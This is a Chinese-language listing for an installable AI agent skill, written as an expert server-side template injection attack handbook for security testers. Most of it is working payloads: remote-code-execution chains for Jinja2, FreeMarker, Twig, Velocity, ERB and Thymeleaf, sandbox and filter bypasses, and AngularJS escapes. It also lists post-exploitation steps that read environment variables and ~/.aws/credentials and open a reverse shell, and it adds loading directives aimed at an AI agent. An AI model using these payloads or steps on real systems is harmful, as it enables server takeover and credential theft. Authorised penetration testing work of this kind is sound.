mcpField
S
ssti-server-side-template-injection

ssti-server-side-template-injection

github.com/yaklang安全2.6k3.7k 次安装6 周前更新
代码仓库

关于 ssti-server-side-template-injection

用于检测和分析服务端模板注入的安全技能,涵盖多种模板引擎与表达式情境。面向安全测试人员,提供引擎识别探针、分类示例及盲注检测方法。

主要功能

  1. 01使用探针识别模板表达式求值
  2. 02对应模板引擎与编程语言
  3. 03涵盖 Jinja2、FreeMarker、Twig 等引擎
  4. 04说明沙箱和过滤器绕过方式
  5. 05包含布尔、延时和带外测试

适用场景

  1. 01检查用户可控字段是否触发模板求值
  2. 02根据响应判断模板引擎
  3. 03在输出不可见时调查盲注

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill ssti-server-side-template-injection

安装后在 Claude Code 中输入/ssti-server-side-template-injection确认已加载。

附带文件ENGINE_PAYLOADS.mdSCENARIOS.md

详细介绍

技能:服务器端模板注入(SSTI)——专家攻击手册

AI 加载指令:专家级 SSTI 技术。涵盖多态检测探针、引擎指纹识别、Jinja2/FreeMarker/Twig/ERB RCE 链、客户端 Angular SSTI 以及绕过技术。基础模型常常会遗漏沙箱逃逸 MRO 链和非 Jinja2 引擎。对于 PHP CMS 模板 eval、Jira SSTI、Confluence OGNL 和 Spring Cloud Gateway SpEL,请加载配套的 SCENARIOS.md。

0. 相关路由

在使用完整的引擎专属利用方法前,可以先加载:

  • 首先使用本文件顶部的多态探针序列,以低噪声识别指纹
  • 当 ${7*7} 或 %{7*7} 在 Java 中求值(SpEL/OGNL)时,使用 expression-language-injection——其攻击面与模板引擎不同
扩展场景

在以下情况下,也请加载 SCENARIOS.md:

  • Maccms 8.x PHP 模板 eval——vod-search 中的 {if-A:phpinfo()}{endif-A},以及用于写入 webshell 的 base64 绕过
  • Jira CVE-2019-11581——“Contact Administrators”表单 → Velocity 模板注入 → 管理员邮件中的命令输出
  • Spring Cloud Gateway SpEL (CVE-2022-22947)——通过 actuator 路由注入和 StreamUtils.copyToByteArray 捕获输出
  • Struts2 OGNL S2-045 (CVE-2017-5638)——通过 Content-Type 标头进行 OGNL 注入,并清除 _memberAccess / OgnlUtil 黑名单
  • Confluence OGNL CVE-2021-26084——在 createpage-entervariables.action 中使用 \u0027 Unicode 绕过
  • SSTI 与 EL 注入的区分指南
  • 其他模板引擎:ASP.NET Razor、Elixir EEx、PHP Smarty/Latte/Blade、JS Pug/Handlebars/Nunjucks/EJS/Lodash + 通用检测 + 盲 SSTI + Flask PIN 计算

SCENARIOS.md 参考(§7–§11): 如需 Razor、EEx/LEEx/HEEx、PHP 技术栈、JavaScript 模板引擎的扩展载荷和引擎专属说明、通用多态探针、数学指纹识别、盲 SSTI(布尔值/时间/OOB)以及 Flask 调试 PIN 的前提条件,请参阅 SCENARIOS.md。本技能在 §13–§15 中保留了简短清单。

引擎载荷参考

有关扩展的引擎专属指纹识别、载荷矩阵(Jinja2、Twig、Freemarker、Velocity、Pebble、Mako、Slim、Handlebars、Thymeleaf、Smarty、ERB、Jade/Pug)以及盲 SSTI 检测技术(基于时间、基于 DNS),请参阅 ENGINE_PAYLOADS.md。

通用检测与盲 SSTI(指引)

首先使用 §1 和 §13 中的多态载荷和数学探针;如需更全面的盲测模式和各引擎示例(包括非 Python 技术栈),请参阅 SCENARIOS.md §11,并对照此处 §14 中的技术名称(布尔值、时间、OOB、基于错误)。


1. 检测——多态探针序列

首先测试:区分 SSTI 与 XSS。发送以下探针,并检查服务器端是否会计算数学表达式:

{{7*7}}        → IF returns 49 (not {{7*7}}) → Jinja2 or Twig
${7*7}         → IF returns 49 → FreeMarker, Velocity, or Java EL
#{7*7}         → Ruby (ERB interpolation in strings)
<#assign x=7*7>${x}  → FreeMarker
@{7*7}         → Thymeleaf
*{7*7}         → Thymeleaf SpEL (*{...})

区分 Jinja2 与 Twig:

{{7*'7'}}
→ 7777777  = Jinja2 (Python string multiplication)
→ 49       = Twig (PHP numeric)

安全检测探针(不进行数学运算,仅检查布尔值):

{{''.__class__}}   → class 'str' = Python/Jinja2

2. 引擎与语言映射

模板引擎语言框架
Jinja2PythonFlask、FastAPI
Django TemplatesPythonDjango
MakoPythonPyramid
TwigPHPSymfony、Laravel
SmartyPHP各种
FreeMarkerJavaSpring MVC
VelocityJava各种 Java
PebbleJava各种 Java
ThymeleafJavaSpring Boot
ERBRubyRails
Slim / HamlRubyRails
Jade / PugNode.jsExpress
HandlebarsNode.jsExpress
TornadoPythonTornado

根据错误信息识别语言 → 然后缩小模板引擎范围。


3. JINJA2(PYTHON FLASK)——RCE 链

链 1:通过 __globals__ 获取 os 模块
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
链 2:MRO 子类遍历(沙箱逃逸)
# List all subclasses:
{{''.__class__.__mro__[1].__subclasses__()}}

# Find subprocess.Popen index (usually around 258-270, varies by Python version):
# Look for "subprocess.Popen" in the list

# Execute command (replace [258] with correct index):
{{''.__class__.__mro__[1].__subclasses__()[258]('id', shell=True, stdout=-1).communicate()[0]}}
链 3:request 对象全局变量(在 config 被拦截时可用)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}

(使用十六进制编码以绕过 _ 过滤)

链 4:lipsum 函数全局变量(Flask 内置)
{{lipsum.__globals__.os.popen('id').read()}}
链 5:cycler 对象
{{cycler.__init__.__globals__.os.popen('id').read()}}
动态查找正确的子进程索引:
# In injection:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
  {% if 'Popen' in c.__name__ %}
    {{loop.index}}
  {% endif %}
{% endfor %}

4. JINJA2 沙箱绕过技术

_(下划线)被拦截时:
# Use attr filter with hex encoding:
''|attr('\x5f\x5fclass\x5f\x5f')

# Use getattr via request object:
request|attr('args')|attr('__class__')
.(点号)被拦截时:
# Use [] subscript notation:
''['__class__']
config['SECRET_KEY']
关键字(class、mro)被拦截时:

在 attr() 中使用十六进制/Unicode:

|attr('\x5f\x5fclass\x5f\x5f')
|attr('\x5f\x5fm\x72\x6F\x5f\x5f')
输出编码会剥除 HTML 实体时:

使用 |safe 过滤器以防止自动转义。


5. FREEMARKER(JAVA)——RCE

通过 freemarker.template.utility.Execute 执行命令
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
通过 ObjectConstructor 的替代方法:
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign br=ob("java.io.BufferedReader",ob("java.io.InputStreamReader",ob("java.lang.Runtime")?api.exec("id").inputStream))>
${br.readLine()}

6. TWIG(PHP)——RCE

// Twig 1.x (before sandbox):
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}

// Twig 2.x using built-ins:
{{['id']|map('system')|join}}

// via filter map:
{{app.request.server.all|join(',')}}

7. VELOCITY(JAVA)——RCE

#set($str=$class.inspect("java.lang.Runtime").method.invoke($class.inspect("java.lang.Runtime").type, null))
#set($run=$str.exec("id"))
#set($out=$run.inputStream)

或者更直接地:

#set($class=$currentNode.getClass())
#set($rt=$class.forName("java.lang.Runtime"))
#set($proc=$rt.getMethod("exec",$class.forName("java.lang.String")).invoke($rt.getMethod("getRuntime").invoke(null),"id"))

8. ERB(RUBY RAILS)——RCE

<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>

9. THYMELEAF(JAVA SPRING)——RCE

使用 Spring EL(SpEL)的 Thymeleaf:

// In th:text or th:fragment context:
__${T(java.lang.Runtime).getRuntime().exec("id")}__::type

// Fragment expression context:
__${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/sh","-c","id"}).getInputStream())}__::type

10. 客户端模板注入(AngularJS)

当 AngularJS 在客户端使用,且用户数据流入模板表达式时:

// AngularJS 1.x sandbox escape:
{{constructor.constructor('alert(1)')()}}

// 1.5.x:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

// 1.3.x:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

检测:发送 {{1+1}}——如果页面显示 2,则说明 AngularJS 会在 DOM 中计算表达式。


11. SSTI → 完整 RCE 路径

SSTI detected → identify engine
├── Jinja2 → config.__globals__['os'].popen() 
│           OR subclass traversal for Popen
├── FreeMarker → freemarker.template.utility.Execute?new()
├── Twig → _self.env.registerUndefinedFilterCallback('exec')
├── Velocity → java.lang.Runtime.exec()
├── ERB → <%= `cmd` %>
├── Thymeleaf → T(java.lang.Runtime).getRuntime().exec()
└── Angular CSTI → constructor.constructor('payload')()

RCE 后的横向利用:

  1. 读取 /proc/self/environ——获取含凭据的环境变量
  2. 读取应用配置文件——获取数据库密码、API 密钥
  3. cat ~/.aws/credentials——获取云凭据
  4. 建立反向 Shell 以实现持久化

12. 常见注入入口

用户数据进入模板的位置:

  • URL 路径:https://site.com/home?name={{7*7}}
  • 查询参数:?message=Hello
  • HTML 表单:个人资料名称、简介、内容字段
  • 错误页面:404 Not Found: /PAYLOAD
  • 电子邮件模板:密码重置邮件中的名称
  • 内联模板渲染:render_template_string(user_input)

最危险的情况:Flask 中的 render_template_string()——将完整的用户输入用作模板。


13. 通用检测载荷

在多种引擎中触发错误或求值的多语法探测载荷:

${{<%[%'"}}%\.

用于盲测/错误确认的数学探测载荷:

{{7*7}}          → 49 (Jinja2, Twig, Nunjucks, Handlebars)
${7*7}           → 49 (FreeMarker, Velocity, EL, Thymeleaf)
<%= 7*7 %>       → 49 (ERB, EJS, EEx)
#{7*7}           → 49 (Pug, Ruby interpolation)
@(7*7)           → 49 (Razor)
{7*7}            → 49 (Smarty)

基于错误的引擎指纹识别(解析器/堆栈跟踪通常会指出引擎名称):

(1/0).zxy.zxy

14. 盲测 SSTI 技术

  • 基于布尔值:比较 (3*4/2) 和 3*)2(/4——如果前者成功求值而后者报错,则很可能发生了求值
  • 基于时间:使用 {{sleep(5)}} 或引擎特定的等效表达式来造成延迟
  • 带外(OOB):当无法看到直接输出时,通过模板表达式发起 DNS/HTTP 回调
  • 基于错误:根据条件为真或为假,触发不同的错误消息

15. Flask PIN 计算

当 Flask 调试模式(Werkzeug 调试器)已暴露但受 PIN 保护时,PIN 由主机特定值推导得出。公开 PIN 计算脚本通常使用以下输入:

  1. username——来自 /etc/passwd(运行 Flask 进程的用户)
  2. 模块名称——通常为 flask.app 或 Flask
  3. 应用程序路径——app.py 或实际的主文件名
  4. MAC 地址——例如 /sys/class/net/eth0/address,按 Werkzeug 的要求转换为十进制
  5. 机器 ID——/etc/machine-id,或者按照 Werkzeug 的算法,将 /proc/sys/kernel/random/boot_id 与 /proc/self/cgroup 的第一行组合使用
  6. 计算 PIN——使用成熟的开源 PIN 计算器,根据这些值实现相同的算法

仅在你获准测试的系统上使用;获取这些值意味着此前已获得访问权限,或存在额外的信息泄露途径。

评论

支持 Markdown